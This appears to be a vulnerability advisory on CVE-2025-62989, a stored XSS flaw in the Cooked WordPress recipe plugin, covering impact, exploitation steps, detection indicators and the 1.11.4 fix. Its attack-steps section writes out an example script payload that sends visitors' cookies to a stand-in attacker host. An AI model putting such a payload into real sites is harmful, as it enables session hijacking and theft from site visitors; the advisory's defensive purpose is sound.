CVE-2025-62989: 
WordPress vulnerability analysis and mitigation

CVE-2025-62989 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cooked recipe plugin for WordPress, developed by Gora Tech (formerly Boxy Studio). The vulnerability allows authenticated attackers with administrator-level privileges to inject persistent malicious scripts into web pages viewed by other users. It affects Cooked versions up to and including 1.11.3, with version 1.11.4 released as the fix. The CVE was published on December 31, 2025, and carries a CVSS v3.1 base score of 5.9 (Medium), assigned by Patchstack (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS variant. An authenticated user with Administrator privileges can inject malicious JavaScript or HTML payloads through the Cooked plugin's input fields, which are then persistently stored and rendered without adequate sanitization or escaping when other users visit affected pages. Exploitation requires high privileges (Administrator role) and user interaction from a victim (e.g., a site visitor loading the affected page), and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself. The vulnerability was discovered by researcher 'ch1mk' and reported on October 11, 2025 (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors who view pages containing the injected payload, resulting in low confidentiality, integrity, and availability impacts per the CVSS assessment. Potential consequences include session hijacking, credential theft, malicious redirects, defacement, or delivery of further malware to site visitors. Because the payload is stored server-side, all users visiting affected pages are at risk without any further action by the attacker (Patchstack, NVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-62989. The EPSS score is approximately 0.031%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires Administrator-level access to the WordPress site, which significantly limits the attacker pool and reduces practical risk (Patchstack, Feedly).

1. Gain Administrator Access: Obtain WordPress administrator credentials through phishing, credential stuffing, or other means, as the vulnerability requires high-privilege authentication.
2. Navigate to Cooked Plugin Settings: Log into the WordPress admin dashboard and access the Cooked recipe plugin's management interface (e.g., recipe editor or plugin settings).
3. Inject Malicious Payload: Insert a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the Cooked plugin that lacks proper output sanitization.
4. Save the Payload: Submit or save the form, causing the malicious script to be stored persistently in the WordPress database.
5. Trigger Execution: When any site visitor (or logged-in user) loads the page containing the injected content, the stored script executes in their browser, enabling session theft, credential harvesting, or redirection to malicious sites (Patchstack).

• Logs: WordPress access logs showing POST requests to Cooked plugin admin endpoints (e.g., /wp-admin/admin.php?page=cooked*) containing encoded script tags or JavaScript event handlers.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the WordPress database within Cooked plugin recipe or settings records.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with Cooked recipe content, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for a stored XSS, but review WordPress debug logs (wp-content/debug.log) for anomalous plugin activity.

The primary remediation is to update the Cooked plugin to version 1.11.4 or later, which contains the fix for this vulnerability (Patchstack). Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically. If immediate update is not possible, restrict administrator access to trusted users only and consider temporarily disabling the Cooked plugin until patching is feasible. A Web Application Firewall (WAF) with XSS filtering rules can provide additional mitigation as a temporary measure.

The vulnerability was discovered by security researcher 'ch1mk' and disclosed through Patchstack's Vulnerability Disclosure Program (VDP), with Patchstack publishing the advisory on December 31, 2025. Patchstack classified the issue as low priority, noting it is unlikely to be exploited due to the high privilege requirement. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).